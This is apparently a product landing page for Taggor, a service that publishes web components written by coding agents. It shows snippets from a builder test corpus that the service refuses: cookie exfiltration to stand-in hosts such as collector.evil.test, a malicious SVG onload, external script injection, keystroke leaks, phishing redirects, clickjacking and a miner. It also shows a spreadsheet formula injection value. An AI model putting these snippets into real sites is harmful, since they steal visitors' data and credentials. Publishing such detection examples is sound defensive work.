Taggor

Draft · agent-built components for websites

Your agent builds it. Taggor ships it.

Ask for a carousel, a pricing table, a store map or a form. Your agent writes the component; Taggor builds it, versions it and puts it on your sites with one script tag.

The logo marquee appears on the site.

Simulation with real components; output shortened

Paste this into your agent. It asks you before it signs in or pays.

Fetch https://taggor.dev/agent-setup/prompt.md and follow its instructions to set me up for Taggor. Ask me before you sign in, create an account, accept terms, pay for anything or type a secret.

02

Publish once. It shows up on each of your sites.

One script tag per site, pasted once. Each site keeps its own words and colors; one publish updates all of them.

Your component<contact-form />
  • my-bakery.example

    Bakeryruns v7v8

  • my-shop.example

    Shopruns v7v8

  • my-clinic.example

    Clinicruns v7v8

  • my-app.example

    Software productruns v7v8

4 of 4 updated

Illustration: the sites and their businesses are invented. Simulation: nothing leaves this page

See the platforms page. The exact snippet for each framework and platform, with its documented limits, is on the platforms page.

03

Visitors fill it in. It lands in your portal.

Submissions are stored for you, flagged when they look automated and never silently dropped. Filter, export and delete them whenever you want.

Component that collects

Talk to us

Form dataCollection: contacts

Suspects
contacts
ReceivednameemailmessageSuspect
14:03Bot Examplebot@example.net=HYPERLINK("https://example.invalid/win","Claim your prize")Suspect
14:02Ada Exampleada@example.com-
13:42Grace Samplegrace@example.orgDo you ship on Fridays?
13:22Alan Testalan@example.netIs there a dark theme?
Export CSVThe file holds what the table filters show.

Simulation: nothing leaves this page

A bot gets in. It does not get lost.

A hidden field no person sees marks the bot's submission as suspect. It is kept, labelled and filterable, never dropped without you knowing.

A spreadsheet that does not run what visitors type

Export builds the file from what the table shows. A cell that starts like a formula gets a quote in front, so opening the file does not run it.

In the form
=HYPERLINK("https://example.invalid/win","Claim your prize")
In the file
'=HYPERLINK("https://example.invalid/win","Claim your prize")

What we do not store

The address, the browser string and the referring page hit a wall. Only the page, the country and the browser family pass, and the database refuses any other key.

  • IP address
  • User agent
  • Referrer
  • Page
  • Country
  • Browser family

04

See what your components do.

Impressions, interactions and conversions by site, country and device, counted without cookies. In the portal, in the terminal and for your agent.

Metrics

How your components are doing across the workspace's sites.

Period
  • Impressions1,492Forgeable+10.5% against the previous period
  • Interactions466Forgeable+16.5% against the previous period
  • Custom events176Forgeable+8% against the previous period
  • Conversions70Counted+20.7% against the previous period
  • Interaction rate31.2%Forgeable+5.4% against the previous period
  • Conversion rate4.7%Forgeable+9.2% against the previous period
Impressions over timeThis periodPrevious period

Where it rendered

  1. United States47732%
  2. United Kingdom17912%
  3. Germany14910%
  4. Canada1047%
  5. Other countries39%

Devices

  • Mobile58%
  • Desktop34%
  • Tablet6%
  • Other2%
  • Impressions9,949Forgeable+3.5% against the previous period
  • Interactions3,104Forgeable+9.1% against the previous period
  • Custom events1,174Forgeable+0.9% against the previous period
  • Conversions468Counted+13.3% against the previous period
  • Interaction rate31.2%Forgeable+5.4% against the previous period
  • Conversion rate4.7%Forgeable+9.4% against the previous period
Impressions over timeThis periodPrevious period

Where it rendered

  1. United States3,18432%
  2. United Kingdom1,19412%
  3. Germany99510%
  4. Canada6967%
  5. Other countries39%

Devices

  • Mobile58%
  • Desktop34%
  • Tablet6%
  • Other2%
  • Impressions41,457Forgeable+10.6% against the previous period
  • Interactions12,935Forgeable+16.6% against the previous period
  • Custom events4,892Forgeable+7.9% against the previous period
  • Conversions1,948Counted+20.9% against the previous period
  • Interaction rate31.2%Forgeable+5.4% against the previous period
  • Conversion rate4.7%Forgeable+9.3% against the previous period
Impressions over timeThis periodPrevious period

Where it rendered

  1. United States13,26632%
  2. United Kingdom4,97512%
  3. Germany4,14610%
  4. Canada2,9027%
  5. Other countries39%

Devices

  • Mobile58%
  • Desktop34%
  • Tablet6%
  • Other2%
taggor metrics --group-by country
production, last 7 days, per day. Not real time; browser events are not verified.
Impressions: 9,949 (component_events, forgeable)
Interactions: 3,104 (component_events, forgeable)
Custom events: 1,174 (component_events, forgeable)
Conversions: 468 (submissions, counted)
Interaction rate: 31.2% (component_events, forgeable)
Conversion rate: 4.7% (component_events, forgeable)

The same numbers, one line per metric, each with its source and how far to trust it. Add --json and your agent reads them.

  • History for your plan's termDaily totals are kept past the recent window, for as long as your plan says.
  • Export when you wantDownload the numbers as CSV or NDJSON, or read them from the API.
  • No data is null, not zeroA metric with nothing behind it comes back empty, so a gap is not read as a bad day.

Illustrative numbers

Each number says how far to trust it.

A conversion is a submission Taggor stored, so it is counted. What a browser reports can be inflated by anyone who knows a site key, so it is labelled forgeable and no bill rests on it.

A privacy signal is honored.

When a visitor's browser sends Global Privacy Control or Do Not Track, only the render is counted. A country is two letters and a device is one of four classes: no visitor id, no IP address and no user agent is stored for a metric.

An error rate for each version.

When a component throws in a visitor's browser, the runtime reports it. Each version gets its errors divided by its mounts, a signal to read before you promote.

05

Anything a site shows can be a component.

Every card below is a real Taggor component, delivered to this page by Taggor the way it reaches your sites. Go ahead and use them.

Browse all components →

Your agent writes it. Taggor checks it, ships it and keeps every version.

06

What a component is made of

Your agent declares props, events and data once. Taggor turns them into controls, types and code for each framework.

  1. PropsTyped attributes the page sets on the tag.
    rate: prop.number({
      description: "Monthly interest rate, in percent.",
      min: 0,
      max: 20,
      step: 0.01,
      default: 1.2,
    }),
  2. EventsWhat the component tells the page, with a checked detail.
    emit("simulate", {
      amount: nextAmount,
      months: nextMonths,
      installment: installment(nextAmount, props.rate, nextMonths),
    });
  3. CSS variablesThe colors and sizes a page is allowed to change.
    "--fs-accent": { type: "color", default: "#0a7d5a", description: "Accent and button color." },
  4. Data collectionDeclared collections and consent, kept for the customer.
    track: { simulate: { props: { months: { type: "number", integer: true, min: 1 } } } },
  5. LanguagesOne set of messages per language, picked from the page.
    locales: { default: "pt-BR", messages: { "pt-BR": ptBR, en } },
  6. SchemaTypes for your site, generated from the same declaration.
    finance-simulator.d.ts
  7. BundleBuilt once, named by its content hash, never changed after.
    sha256-…
Fig. 1 · One component, pulled apartIllustration
  1. 1Your agent writes the component

    quick-poll/src/index.tsx

    import { defineTaggorComponent, prop, useTaggorData } from "@taggor/component";
    
    export default defineTaggorComponent({
      name: "quick-poll",
      tag: "quick-poll",
      props: {
        question: prop.string({ maxLength: 200, default: "Which feature first?" }),
        options: prop.array({ items: { type: "string" }, default: ["Dark mode", "Mobile app"] }),
      },
      data: {
        collections: {
          votes: { fields: { option: { type: "string", maxLength: 80 } }, required: ["option"] },
        },
      },
      cssVars: {
        "--qp-accent": { type: "color", default: "#7c3aed", description: "Button color." },
      },
      styles: ({ cssVar }) => [
        `button { background: ${cssVar("--qp-accent")}; color: #fff; border-radius: 999px }`,
      ],
      render: (props, context) => {
        const votes = useTaggorData(context, "votes");
        if (votes.status === "success") return <p>Thanks for voting!</p>;
        return (
          <fieldset>
            <legend>{props.question}</legend>
            {props.options.map((option) => (
              <button onClick={() => votes.submit({ option })}>{option}</button>
            ))}
          </fieldset>
        );
      },
    });

    Props, a data collection, a style knob and what it renders. Shortened from examples/quick-poll.

  2. 2Paste one line in your site, once

    index.html · <head>

    <script async src="https://cdn.taggorcdn.com/s/<site-key>.js"></script>
    

    The same line on every page of the site. It loads only the components the page uses.

  3. 3Put the tag where it should show

    index.html · <body>

    <quick-poll
      question="Which feature first?"
      options='["Dark mode","Mobile app","WhatsApp"]'
      style="--qp-accent: #0f766e"
    ></quick-poll>

    Each site gives its own words and colors. Publishing a new version needs no change here.

07

Everything it has

The numbers first, then the small things that are easy to miss.

Illustrations, drawn for this page.

08

Your agent does the work. Taggor checks every step.

Your agent fixes its own build errors. Its code is treated as untrusted and scanned on every publish, and each component runs in a box of its own on your page.

It checks its own work

Swipe sideways through the steps

You paste one prompt

Fetch https://taggor.dev/agent-setup/prompt.md and follow its instructions to set me up for Taggor. Ask me before you sign in, create an account, accept terms, pay for anything or type a secret.

It installs the rules

taggor init --agent claudeCreated the project in ~/.taggor/projects/rich-note with the component rich-note.  wrote taggor.json  wrote components/rich-note/src/index.tsxAgent files (bundle 0.6.0) for claude:  wrote .claude/skills/taggor/SKILL.md  wrote CLAUDE.md

The check says no

taggor checkfailed: rich-note (1 error(s), 0 warning(s))components/rich-note/src/index.tsx:15:36 error UNSAFE_HTML_SINK: a string written as HTML can run script (rule html-sink): innerHTML with a string that is not a fixed literal          if (box.current) box.current.innerHTML = message;  hint: Render the content with JSX ({message} is escaped), or set textContent; for formatting, accept structured data (a list of paragraphs, bold ranges) instead of HTML.1 of 1 component(s) would fail the publication gates (1 error(s)).

It reads the hint and fixes it

agent: the hint says to render with JSX. Editing src/index.tsx.--- src/index.tsx- 13     const box = useRef<HTMLDivElement>(null);- 14     useEffect(() => {- 15       if (box.current) box.current.innerHTML = message;- 16     }, [message]);- 17     return <div ref={box} />;+    return <div>{message}</div>;

The check says yes

taggor checkok: rich-note passed 3 gate(s)1 component(s) checked, all publishable.

It publishes to staging

taggor publishUploaded. Build bld_….Build bld_…: queuedBuild bld_…: buildingBuild bld_…: checkingBuild bld_…: succeeded  preview: https://<preview host>/p/<token>

The build, stage by stage

taggor logs rich-note --followBuild bld_… (newest version of rich-note)[queued] passed[resolving] passed[compiling] passed[gate:typecheck] passed[gate:size] passed[gate:security] passed[build] succeeded (0 errors, 0 warnings)
Replay of a real run; output shortened

Refused before it ships

19 components written to attack the host page or its visitors: the real corpus our builder is tested against. Each one is refused with its code, the file and the line.

  • Refused: SECRET_IN_SOURCE

    A secret is stopped before it leaves your machine

    .env · src/config.ts

    taggor publishLeft out .env: it looks like a credential and is never packaged.src/config.ts:1:24 error SECRET_IN_SOURCE: a GitHub token (ghp_…) is in the component's source; the bundle is public, so the build refuses it1 secret(s) found in the component's files (values are masked). Nothing was sent: the bundle is public. Remove them and rotate the keys.

    A .env file, a key file or a token written in the code is stopped by the CLI before anything is sent, and the value is masked in the message.

  • Refused: VIEWPORT_OVERLAY

    Layer over the whole viewport

    src/index.tsx:10

      description: "A ribbon with today's promotion.",  styles: ":host { position: fixed; inset: 0; z-index: 2147483647; opacity: 0.01 }",  render: () => <a href="https://offers.example.net/">Today only</a>,

    Fixes the invisible host over the whole viewport to take the page's clicks (clickjacking).

  • Refused: CREDENTIAL_CAPTURE

    Component asks for credentials

    src/index.tsx:31

          <form onSubmit={onSubmit}>        <p>Your session has expired. Sign in with Google to continue.</p>        <input name="email" type="email" autocomplete="username" />

    A look-alike login that stores the visitor's password through a Taggor collection (T-61).

  • Refused: MINING_PATTERN

    Crypto mining pattern

    src/index.tsx:8

     const WORKER_SOURCE = `let nonce = 0;

    A Blob worker that hashes in a loop and talks Stratum to a mining pool over a WebSocket.

  • Refused: UNDECLARED_NETWORK

    Network request to an undeclared origin

    src/index.tsx:13

        useEffect(() => {      void fetch("https://collector.evil.test/c", {        method: "POST",

    Reads document.cookie and posts it to an undeclared origin.

  • Refused: UNSAFE_DOCUMENT_WRITE

    document.write in the component

    src/index.tsx:14

          onClick={() => {        document.open();        document.write(

    document.write on a click, replacing the host page with a card form.

  • Refused: MANIFEST_EXTRACTION_FAILED

    Component module failed to load

    src/index.tsx:5

     const greeting = eval('"hello"') as string; 

    eval at the top level of the module: the locked-down manifest extraction (no code generation from strings) already fails it.

  • Refused: UNSAFE_EVAL

    eval in the component

    src/index.tsx:18

              const input = (event.currentTarget as HTMLFormElement).elements.namedItem("expr");          setResult(String(eval((input as HTMLInputElement).value)));        }}

    eval on what the visitor types, inside an event handler.

  • Refused: UNSAFE_SCRIPT_ELEMENT

    Component creates a script element

    src/index.tsx:13

        useEffect(() => {      const script = document.createElement("script");      script.src = "https://cdn.evil.test/payload.js";

    Appends an external <script> to the host page's head, outside the shadow root.

  • Refused: CONSENT_FORGED

    Consent given by the component

    src/index.tsx:21

        useEffect(() => {      consent.setGiven(true);    }, []);

    Ticks the consent box itself in an effect, so the proof of consent is forged.

  • Refused: UNDECLARED_NETWORK

    Network request to an undeclared origin

    src/index.tsx:14

          const pixel = new Image();      pixel.src = "https://pixel.example.net/p.gif?v=" + encodeURIComponent(value);    };

    Sends what the visitor types in the URL of a hidden image, to an undeclared origin.

  • Refused: UNSAFE_HTML_SINK

    HTML written from a string

    src/index.tsx:15

        useEffect(() => {      if (box.current) box.current.innerHTML = message;    }, [message]);

    Writes a string prop (an attribute of the page) through innerHTML.

  • Refused: UNSAFE_FUNCTION_CONSTRUCTOR

    Function constructor in the component

    src/index.tsx:12

      render: ({ formula }) => {    const compute = new Function(`return (${formula});`) as () => unknown;    return <output>{String(compute())}</output>;

    new Function over a string prop, so the page's attribute becomes code.

  • Refused: OBFUSCATED_CODE

    Obfuscated code

    src/index.tsx:15

        useEffect(() => {      const code = atob(atob(PAYLOAD));      const probe = atob("ZmV0Y2goJ2h0dHBzOi8vYy5leGFtcGxlLm5ldCcp");

    Hides its payload in base64 inside base64, base64 of code and a name spelled in character codes.

  • Refused: UNSAFE_PREACT_INTERNALS

    Component accesses Preact internals

    src/index.tsx:6

      const consent = useConsent(props.context, props.componentInputProps);  for (const hook of this.__H.__) {    const dispatch = hook.__?.[1];

    Dispatches consent through Preact's mangled hook state instead of a visitor action.

  • Refused: UNSAFE_STRING_TIMER

    Timer given a string

    src/index.tsx:14

        useEffect(() => {      const run = setTimeout as unknown as (code: string, ms: number) => number;      run(action, 1000);

    setTimeout with a string built from a prop, an eval in disguise.

  • Refused: ASSET_SVG_UNSAFE

    SVG with active content

    src/badge.svg:1

    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10" onload="fetch('https://evil.example/c?' + document.cookie)">  <script>top.location = "https://evil.example/phish";</script>

    An SVG asset with a <script> and an onload handler (TAG-410): refused with ASSET_SVG_UNSAFE at each line, nothing published.

  • Refused: UNSAFE_TAGGOR_GLOBAL

    Component writes the taggor global

    src/index.tsx:15

        const original = host.taggor;    Object.defineProperty(window, "taggor", {      configurable: true,

    Replaces the host page's taggor API to read the other components' events.

  • Refused: UNDECLARED_NETWORK

    Network request to an undeclared origin

    src/index.tsx:14

          const timer = setTimeout(() => {        (window.top ?? window).location.href = "https://login.phish.test/account";      }, 3000);

    Navigates the top window to a look-alike login page after mounting.

  • Refused: UNDECLARED_NETWORK

    Network request to an undeclared origin

    src/index.tsx:15

          void fetch("https://api.store.example.com/quote?q=" + encodeURIComponent(value));      void fetch("https://collector.example.net/keys", { method: "POST", body: value });    };

    Declares the store's API and also sends what the visitor types to an undeclared origin.

Real diagnostics from the builder's test corpus

It knows where to stop

What only a person can do, it hands back

Asked to create an API key, the agent gets a refusal that names the exact portal page and the steps for you. It does not retry and it does not look for a way around.

agent: I need an API key.403 human_action_requiredThis is for a person, not an agent: Create an API key or token. Do not retry it. Tell the person to open /w/<workspace-slug>/settings/api-keys in the portal (<workspace-slug> is the workspace slug) and:  1. Sign in to the portal and open the workspace.  2. Open Settings, then API keys.  3. Choose Create key, name it and pick the smallest set of scopes it needs.  4. Copy the key once, when it is shown, into the tool that needs it; do not paste it into a chat.

What the CLI relays to the agent, from the contract's catalog

Docs the agent can read

Every docs page also exists as Markdown at the same address with .md, so an agent reads the page without the page around it.

GET /docs/quickstart.md# CLI quickstartFrom an empty directory to a component on a test site, with the taggor CLI.## Before you start## 1. Download the CLI and check its hash## 2. Sign in## 3. Create the first component

The head of a real docs page, as Markdown

Try to break the page

If one throws, or Taggor is down, the rest of your page stays as it was. Try it, then read what each layer does.

An example page

Its own text, its own button, three components.

pressed 0 times

click-counterCounterCounts, with its own button.+
click-counterthe content inside the tagNo clicks yet, as the page wrote it.
promo-bannerPromo bannerA line and a link.→
promo-bannerthe content inside the tagThe page's own line of text.
faq-accordionQuestionsOpens and closes.▾
faq-accordionthe content inside the tagThe questions as plain text.

Errors on the page: 0

Press a button. The page counts its own errors.

One component threw. Only that one fell back to the content you wrote inside its tag; the other two kept running.

The page's buttons turned yellow with !important. The components kept their own look: the page's CSS does not cross the Shadow DOM.

With Taggor off, each tag shows the content inside it, and the page stays clickable.

Replay of our test suites From the chaos suite (a bundle that throws, the CDN down) and the compatibility matrix (a hostile page stylesheet).

  • Its own Shadow DOMThe component renders in its own shadow root. In the compatibility matrix a hostile page stylesheet does not restyle it, and it does not restyle the page.
  • An error boundaryA component that throws is contained. The page keeps working and the fallback content you wrote stays visible.
  • Built in isolationYour agent's source is built in a sandboxed container, apart from your machine and from Taggor's servers, and scanned on every publish.
  • Versions that do not changeNothing is overwritten. A bad release is a pointer you move back.
  • A small async loader, on its own domainThe loader loads asynchronously, so it does not block the page; it has a hard size ceiling, checked before every Taggor release, and is served from a domain apart from the brand's. If it cannot be reached, the page is left as it was.
  • No cookies, and you decide the dataThe loader and the runtime set no cookie. What a component collects, and whether it is personal data, is your decision as the controller.

09

Questions

The doubts we would have too, answered with the thing itself: each answer points at the part of this page that proves it.

I'll just put it in my repo.

Keep the code in your repo. Taggor keeps what comes after it: versions that never change, two channels and an undo button.

  • Each publish is an immutable version; staging and production are pointers you move.
  • One component can sit on several sites, each with its own values, and the data it collects lands in the same place.
  1. v6a41f09c2
  2. v73c9e07b2
  3. v85d17e6a0

Production points at v8.

Production is back on v7: the same build, byte for byte, hash 3c9e07b2.

Undo moves the pointer; sites follow in about 60 s, with nothing rebuilt.
Simulation: nothing leaves this page

See it happen: versions and channels

My platform already has AI.

Good for that platform. Taggor is neutral: your own agent writes the component, and one snippet puts it on the site you choose.

  • There are install instructions for plain HTML, WordPress, Webflow, Next.js, Vue and Angular, each with its documented limits.
  • Written for agencies and for people who run several sites: one component, each site with its own values.

See it happen: the same tag on your sites

Third-party JavaScript is a risk.

A fair worry, so it is boxed in: if a component throws, or Taggor is down, your page stays as it was.

  • Each component lives in its own Shadow DOM, inside an error boundary.
  • No eval. The source is built in a sandbox and scanned on every publish, and a published version never changes.

Yes, served from Cloudflare's global network. Yes, a tiny loader.

3 KiB Loader size ceiling (gzip), checked before every Taggor release

Illustration

See it happen: the safety diagram

What if my agent publishes something wrong, or gets tricked?

Staging comes first, every version is kept and going back is one move. What visitors write never becomes an instruction.

  • Staging and production are separate channels; production moves only when someone promotes.
  • What a visitor typed reaches the agent marked as untrusted data, never as instructions, in the tools Taggor gives agents.
  • Actions only a person may do (keys, billing, legal acceptance) are refused to an agent, with the exact portal page and the steps to finish them.

See it happen: Taggor for agents

Form backends are cheap.

Some are, and a plain form may be all you need. When it should be your own component, Taggor keeps the component and its data in one place.

  • Your own agent writes the component; Taggor builds, hosts and versions it.
  • Submissions land in your portal by collection, and export as CSV or NDJSON.
  • A new submission can email you.

See it happen: the data screen

And my visitors' privacy?

Cookieless by default, and what you collect belongs to you.

  • The loader and the runtime set no cookie.
  • Visitor metrics hold no personal data.
  • What a component collects, and whether it is personal data, is your decision as the controller.

See it happen: the safety diagram

Is it safe to run code my agent wrote?

Customer code is treated as untrusted. It is built in an isolated container, scanned on every publish (code that uses eval, writes cookies or storage, or reaches an undeclared network address is refused), and it runs in the browser inside a Shadow DOM with an error boundary. More in the docs.

Will it slow my site down?

The loader is a small async script with a size budget enforced in CI, and it fetches only the components that site uses. We publish no speed numbers until we have measured them on a real site. More in the docs.

What happens if Taggor goes down?

The page is left as it was. If the loader or a bundle cannot be reached, the page stays usable, and the fallback content you wrote inside the tag stays visible. More in the docs.

Am I locked in?

The component is TypeScript source in your own folder, and the data it collects exports as CSV or NDJSON. Remove the snippet and the page is as it was before. More in the docs.

What about my visitors' privacy?

The loader and the runtime set no cookie and do not fingerprint the visitor. If a component collects personal data, it shows a consent box and each submission keeps a proof of what the visitor accepted. More in the docs.

Who pays for the AI?

You do, through your own agent. Taggor runs no model on your components: your agent writes them with the SDK, and Taggor builds and delivers what it publishes. More in the docs.

Which platforms does it work on?

Those that let you add a script tag, with the limits each platform documents. The platforms page says which ones we ran and which we only read from the platform's own help. More in the docs.

What does it cost?

Free costs $0, Pro costs $14 a month and Agency costs $49 a month. Every plan has every feature; plans differ in volume.

What Taggor is not

  • Not a page builderIt does not draw or host your site. It delivers components to the site you have.
  • Not an AI that writes for youYour agent writes the component, on your account. Taggor builds, hosts and delivers it.
  • Not a way around your privacy dutiesYou are the controller of what your components collect. Taggor keeps the consent proof; the policy is yours.
  • Not locked to one platformOne script tag, with the limits each platform documents.

10

Start with your agent

Paste the prompt into your coding agent. It reads the setup page, installs Taggor and asks you before it signs in, creates an account or pays.

One-line prompt for your agent

Fetch https://taggor.dev/agent-setup/prompt.md and follow its instructions to set me up for Taggor. Ask me before you sign in, create an account, accept terms, pay for anything or type a secret.

One source, every agent

taggor init --agent writes the file your agent reads. Pick yours to see what it gets.

Claude Code

File in your project: .claude/skills/taggor/SKILL.md

---name: taggor--- ## Rules for you, the agent - Never create or revoke API keys or tokens, pay, accept the Terms or the DPA, delete the workspace  or change its owner: those are the person's, in the portal. When the API, the CLI or the MCP  answers `human_action_required`, tell the person the portal page and the steps it names, and do not  retry or look for a way around it. 3. **Fix** every diagnostic by its `code` and `hint` (`error.errors[]` in the JSON, and the   `docs_url` it carries). Change the code, never the check. Go back to 2 until it exits `0`.   [references/troubleshooting.md](references/troubleshooting.md) lists the exit codes and what to do.

A skill, plus a Taggor block in CLAUDE.md. Same rule, line for line, in all three.

Codex

File in your project: AGENTS.md

<!-- taggor:start --><!-- taggor:bundle 0.6.0 -->## Taggor components### Rules for you, the agent - Never create or revoke API keys or tokens, pay, accept the Terms or the DPA, delete the workspace  or change its owner: those are the person's, in the portal. When the API, the CLI or the MCP  answers `human_action_required`, tell the person the portal page and the steps it names, and do not  retry or look for a way around it. 3. Fix each diagnostic by its `code` and `hint`, then check again, until it exits `0`.

A Taggor block in AGENTS.md; any agent that reads AGENTS.md gets it. Same rule, line for line, in all three.

Cursor

File in your project: .cursor/rules/taggor.mdc

---description: Taggor components: how to write, check and publish themalwaysApply: true--- <!-- taggor:start --><!-- taggor:bundle 0.6.0 -->## Taggor components### Rules for you, the agent - Never create or revoke API keys or tokens, pay, accept the Terms or the DPA, delete the workspace  or change its owner: those are the person's, in the portal. When the API, the CLI or the MCP  answers `human_action_required`, tell the person the portal page and the steps it names, and do not  retry or look for a way around it. 3. Fix each diagnostic by its `code` and `hint`, then check again, until it exits `0`.

A rules file that applies in every chat. Same rule, line for line, in all three.